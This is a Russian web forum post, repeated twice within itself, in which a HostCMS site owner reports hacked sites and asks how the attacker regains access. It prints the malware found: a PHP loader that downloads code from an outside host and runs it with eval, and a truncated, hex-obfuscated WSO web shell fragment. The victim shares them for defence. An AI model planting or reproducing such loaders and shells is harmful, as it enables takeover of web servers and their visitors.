Изменение файлов по ФТП (Давайте темы называть по существу. Администрация.)
2 июля 2013 г.
Добрый день.
Такая ситуация сложилась.
Есть несколько сайтов на HostCMS на хостинге.
Оказались заражены некоторые из них.
Заражены этим:
(HEX)php.cmdshell.unclasses.344
(HEX)php.cmdshell.DxShell.221
Текст вирусов:
====
<?php
$al=file('http://massage-moscow.tk/issaa.jpg', FILE_IGNORE_NEW_LINES);
$slp="";
for ($i=0; $i<count($al); $i++) {
if (! strpos($al[$i], $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\t"
) continue;
$slp=$slp.' '.substr($al[$i], strpos($al[$i], "\t"+1);
}
echo eval($al[0]);
?>
==== кусок второго:
<?php
$auth_pass = "27c520c3fe709323ae7fcdbf71d44b9c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx .... много текста.....\x29\x3B",".";?>
=====
Второй это какой-то известный Google`у шелл WSO.
Кроме сайтов был заражен сам сервер какой-то фигней, сканировавший внешнюю сеть.
Сервер был полностью переставлен. ФТП-аккаунты не заводились. Остались только пароли на админки сайтов старые.
Сегодня вечером на двух сайтах нашел снова эти скрипты.
Злоумышленник заливает в корень файл sl.php, который вызывает из шаблона.
Кроме того, добавляет в /admin/documents/ файлы типа edit_documents.php
Иногда еще в другие папки.
Хочу понять как кроме ухода на сторону пароля от админки возможен этот доступ?
Буду признателен за помощь.
Как можно обезопаситься от этого на будущее?
Такая ситуация сложилась.
Есть несколько сайтов на HostCMS на хостинге.
Оказались заражены некоторые из них.
Заражены этим:
(HEX)php.cmdshell.unclasses.344
(HEX)php.cmdshell.DxShell.221
Текст вирусов:
====
<?php
$al=file('http://massage-moscow.tk/issaa.jpg', FILE_IGNORE_NEW_LINES);
$slp="";
for ($i=0; $i<count($al); $i++) {
if (! strpos($al[$i], $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\t"
) continue;$slp=$slp.' '.substr($al[$i], strpos($al[$i], "\t"
+1);}
echo eval($al[0]);
?>
==== кусок второго:
<?php
$auth_pass = "27c520c3fe709323ae7fcdbf71d44b9c";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx .... много текста.....\x29\x3B","."
;?>=====
Второй это какой-то известный Google`у шелл WSO.
Кроме сайтов был заражен сам сервер какой-то фигней, сканировавший внешнюю сеть.
Сервер был полностью переставлен. ФТП-аккаунты не заводились. Остались только пароли на админки сайтов старые.
Сегодня вечером на двух сайтах нашел снова эти скрипты.
Злоумышленник заливает в корень файл sl.php, который вызывает из шаблона.
Кроме того, добавляет в /admin/documents/ файлы типа edit_documents.php
Иногда еще в другие папки.
Хочу понять как кроме ухода на сторону пароля от админки возможен этот доступ?
Буду признателен за помощь.
Как можно обезопаситься от этого на будущее?
2 июля 2013 г.
